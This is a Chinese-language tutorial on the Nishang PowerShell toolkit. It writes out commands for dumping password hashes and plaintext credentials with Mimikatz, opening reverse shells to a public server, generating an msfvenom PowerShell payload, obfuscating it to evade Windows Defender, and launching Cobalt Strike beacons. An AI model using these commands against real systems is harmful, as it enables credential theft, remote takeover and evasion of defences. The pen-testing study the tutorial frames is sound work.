溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

PowerShell滲透測試利器Nishang怎么用

發(fā)布時間:2022-01-13 15:48:18 來源:億速云 閱讀:156 作者:小新 欄目:網(wǎng)絡管理

這篇文章主要介紹PowerShell滲透測試利器Nishang怎么用,文中介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們一定要看完!

初始PowerShell,首先我們先來了解一下概念:PowerShell可以當做是cmd(bat腳本語言)的升級版,它是Windows平臺上的腳本語言。是面向?qū)ο?,是?.Net FrameWork 密切相關(guān)的。也可以認為是Windows上的bash shell。Windows PowerShell 是一種命令行外殼程序和腳本環(huán)境,使命令行用戶和腳本編寫者可以利用 .NET Framework的強大功能。它引入了許多非常有用的新概念,從而進一步擴展了您在 Windows 命令提示符和 Windows Host 環(huán)境中獲得的知識和創(chuàng)建的腳本。代碼運行在內(nèi)存中可以不去接觸磁盤 很多安全產(chǎn)品并不能監(jiān)測到powershell的活動 cmd.exe通常被阻止運行,但是powershell不會。其實我們在滲透測試過程中需要繞過一些防護軟件,除了繞過腳本或者其它的工具以外,PoweShell工具其實也是一個不錯的選擇。比如,我們在目標主機上面用密碼抓取神奇mimikatz,這款由法國大牛寫的神奇相比大家都經(jīng)常用,最牛逼指出是可以直接從 lsass.exe 里獵取windows處于active狀態(tài)賬號明文密碼。但是如果免殺做的不好的話,也會直接被某免殺全家桶給直接pass。利用Powershell,攻擊者可以在無需接觸磁盤的情況下執(zhí)行命令。下面介紹幾款比較使用的工具:

Nishang簡介

Nishang是基于PowerShell的滲透測試專用工具,它集成了腳本和各種payload,比如抓取密碼、端口掃描、提權(quán)等。這款工具小白在日常滲透測試中使用次數(shù)較多的一款工具。首先我們需要下載這個工具,下載的地址:https://github.com/samratashok/nishang, 下載完畢后我們可以看到以下工具里面都包括一些什么

PowerShell滲透測試利器Nishang怎么用

PowerShell滲透測試利器Nishang怎么用

下面我們通過特定的實驗環(huán)境來演示一下滲透測試過程中常用的模塊,在演示之前需要說明幾個在運行powershell工具時遇到的幾個比較常見的錯誤,比如執(zhí)行腳本的權(quán)限問題、導入模塊的問題等。

Powershell在首次導入模塊的時候是不允許的,因為默認的策略是不允許的,這時候我們需要將執(zhí)行策略改為允許的,就是所謂的remotesigned。

PowerShell滲透測試利器Nishang怎么用

我們查詢一下當前的執(zhí)行策略是什么,Restricted是不被允許執(zhí)行任何腳本的,即使你是管理員權(quán)限。我們需要修改權(quán)限,執(zhí)行命令:

Set-ExecutionPolicy remotesigned,我們再次查詢當前的執(zhí)行策略的時候就是remotesigned可被允許的,再次導入腳本就會成功,出現(xiàn)的警告提示不用理會。

PowerShell滲透測試利器Nishang怎么用

PowerShell滲透測試利器Nishang怎么用

執(zhí)行查看導入的模塊中的腳本信息:Get-Command -Module nishang

PowerShell滲透測試利器Nishang怎么用

列出本機的信息: Get-Information

PowerShell滲透測試利器Nishang怎么用

現(xiàn)在我們也把執(zhí)行權(quán)限修改了,下面就開始我們演示之旅吧。

密碼抓取來一波

當我們拿到一臺服務器的時候,我們需要知道目標主機是物理機還是虛機,執(zhí)行命令:Check-VM

PowerShell滲透測試利器Nishang怎么用

首先說明一下,nishang里面也集成了抓取密碼的腳本,先抓取一下hash值:

#Get-PassHashes //簡單直接的抓取,并顯示在dos界面;

#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherGet-PassHashes.ps1';Get-PassHashes -PSObjectFormat | Out-File hash.txt}"    //獲取hash值并保存在自定義的文檔中。

PowerShell滲透測試利器Nishang怎么用

PowerShell滲透測試利器Nishang怎么用

PowerShell滲透測試利器Nishang怎么用

既然能抓取hash值,那我們也可以抓取明文密碼,我們先看一下抓取密碼的腳本,可以看出也是運用了Mimikatz這個工具,只不過是加載了Powershell的腳本里面。

PowerShell滲透測試利器Nishang怎么用

PowerShell滲透測試利器Nishang怎么用

我們可以用以下命令來獲取明文密碼:

#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz}" 嘗試直接抓取當前系統(tǒng)用戶的明文密碼。(最常用的命令)

PowerShell滲透測試利器Nishang怎么用

端口反彈搞一波

PowerShell滲透測試利器Nishang怎么用

在滲透測試中我們在做端口轉(zhuǎn)發(fā)的時候遇到一系列 的查殺全家桶,nc\lcx\sockes代理等時不時的被殺軟截胡。那么這個時候我們可以利用nishang中的端口轉(zhuǎn)發(fā)腳本進行。這里除了介紹一下自帶的端口轉(zhuǎn)發(fā),還實驗一下配合MSF進行端口轉(zhuǎn)發(fā),都需要一臺公網(wǎng)服務器。

1、TCP端口轉(zhuǎn)發(fā)(反向連接)

公網(wǎng)服務器上面執(zhí)行監(jiān)聽命令:nc -lvp 5555

目標主機執(zhí)行端口轉(zhuǎn)發(fā)命令: Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx.115 -Port 5555

這樣我們分別在目標主機和公網(wǎng)上面執(zhí)行命令后,公網(wǎng)服務器就會反彈一個shell,這樣我們就可以執(zhí)行內(nèi)網(wǎng)服務器的命令。

PowerShell滲透測試利器Nishang怎么用

2、UDP端口轉(zhuǎn)發(fā)(反向連接)

公網(wǎng)服務器上面執(zhí)行監(jiān)聽命令:nc -lup 6666

目標主機執(zhí)行端口轉(zhuǎn)發(fā)命令: Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx.xxx.115 -Port 6666

PowerShell滲透測試利器Nishang怎么用

除了反向連接,也有正向連接,本小白在滲透測試中經(jīng)常用到反向連接,如果大佬們對正向連接感興趣的話可以去搞一搞。好了我們現(xiàn)在利用powershell與MSF進行端口轉(zhuǎn)發(fā),首先我們先利用命令查詢一下MSF中是否有powershell這個模塊:

##msfvenom -l payloads |grep ‘reverse_powershell   //查詢powershell模塊的位置。

PowerShell滲透測試利器Nishang怎么用

我們利用MSF生成一條反彈端口的一條命令:

##msfvenom -p cmd/windows/reverse_powershell lhost=106.xxx.xxx.115 lport=9999 r  //生成payload,類型是Powershell,標紅的一段是需要在目標主機上面執(zhí)行的命令。

PowerShell滲透測試利器Nishang怎么用

下一步我們在目標主機上面執(zhí)行剛才生成的一條powershell命令,在公網(wǎng)服務器監(jiān)聽9999端口。這樣我們就可以成功的將目標主機的shell反彈到公網(wǎng)服務器上面。

PowerShell滲透測試利器Nishang怎么用

我們也會這樣想我們?nèi)绾卧谀繕酥鳈C上面利用混淆處理繞過Windows Defender,因為我們在生成的普通的有效載荷會被Windows Defender進行查殺的,所以我們需要繞過這個檢查的機制。我們就以上面的有效載荷為例子做混淆處理來繞過Windows Defender。有的時候我們將自己生成的普通的有效載荷直接在目標主機上進行運行,可能被Windows Defender直接截胡,做混淆處理的工具當屬Daniel Bohannon提供的Invoke-Obfuscation了。該項目的Github頁面可以找到。

首先我們先啟動一下Invoke-Obfuscation這個工具:

Import-Module ./Invoke-Obfuscation.psd1   //導入Invoke-Obfuscation.psd1;

Invoke-Obfuscation    //啟動Invoke-Obfuscation工具;

PowerShell滲透測試利器Nishang怎么用

現(xiàn)在我們將剛才生成的端口轉(zhuǎn)發(fā)的有效載荷進行做混淆處理,我們首先看一下各種混淆的處理方式的參數(shù):

PowerShell滲透測試利器Nishang怎么用

有效載荷的哪些部分需要進行混淆,我們必須提前規(guī)定好,可以通過以下命令完成:

Set scriptblock '有效載荷';

PowerShell滲透測試利器Nishang怎么用

我們選擇將整個命令作為字符串進行obfuse(具體選擇根據(jù)具體的滲透測試環(huán)境):

PowerShell滲透測試利器Nishang怎么用

選擇1進行ASCII混淆處理,我們輸入out 1.ps1進行輸出查看,這個命令也相當于將混淆完畢的文件保存在當前目錄下,并以1.ps1:

PowerShell滲透測試利器Nishang怎么用

在目標主機上面進行執(zhí)行此腳本,公網(wǎng)服務器監(jiān)聽9999端口,也可以成功的反彈內(nèi)網(wǎng)主機的shell:

PowerShell滲透測試利器Nishang怎么用

powershell與cobaltstrike工具擦出不一樣的火花

Cobalt Strike 一款以Metasploit為基礎(chǔ)的GUI框架式滲透測試工具,集成了端口轉(zhuǎn)發(fā)、服務掃描,自動化溢出,多模式端口監(jiān)聽,exe、powershell木馬生成等。這個工具也是一款內(nèi)網(wǎng)滲透的利器,我們這里只是說一下powershell與Cobalt Strike能夠碰觸怎樣的火花?

Cobalt Strike需要分別在客戶端和服務器端安裝,然后在啟動此工具:

PowerShell滲透測試利器Nishang怎么用

PowerShell滲透測試利器Nishang怎么用

首先我們先監(jiān)聽一個端口,主機地址寫公網(wǎng)IP地址,然后就會生成一個powershell命令,將此命令在目標主機上面運行,目標主機就會上線,然后我們就可以遠程抓取密碼、提權(quán)、監(jiān)聽等操作:

PowerShell滲透測試利器Nishang怎么用PowerShell滲透測試利器Nishang怎么用PowerShell滲透測試利器Nishang怎么用PowerShell滲透測試利器Nishang怎么用PowerShell滲透測試利器Nishang怎么用PowerShell滲透測試利器Nishang怎么用PowerShell滲透測試利器Nishang怎么用

說實話這是這兩個工具我在這里擦出的火花只是一點點,其余的操作還有許多,有興趣的大佬可以去研究一下,這個工具在內(nèi)網(wǎng)滲透中運用的比較多。

以上是“PowerShell滲透測試利器Nishang怎么用”這篇文章的所有內(nèi)容,感謝各位的閱讀!希望分享的內(nèi)容對大家有幫助,更多相關(guān)知識,歡迎關(guān)注億速云行業(yè)資訊頻道!

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI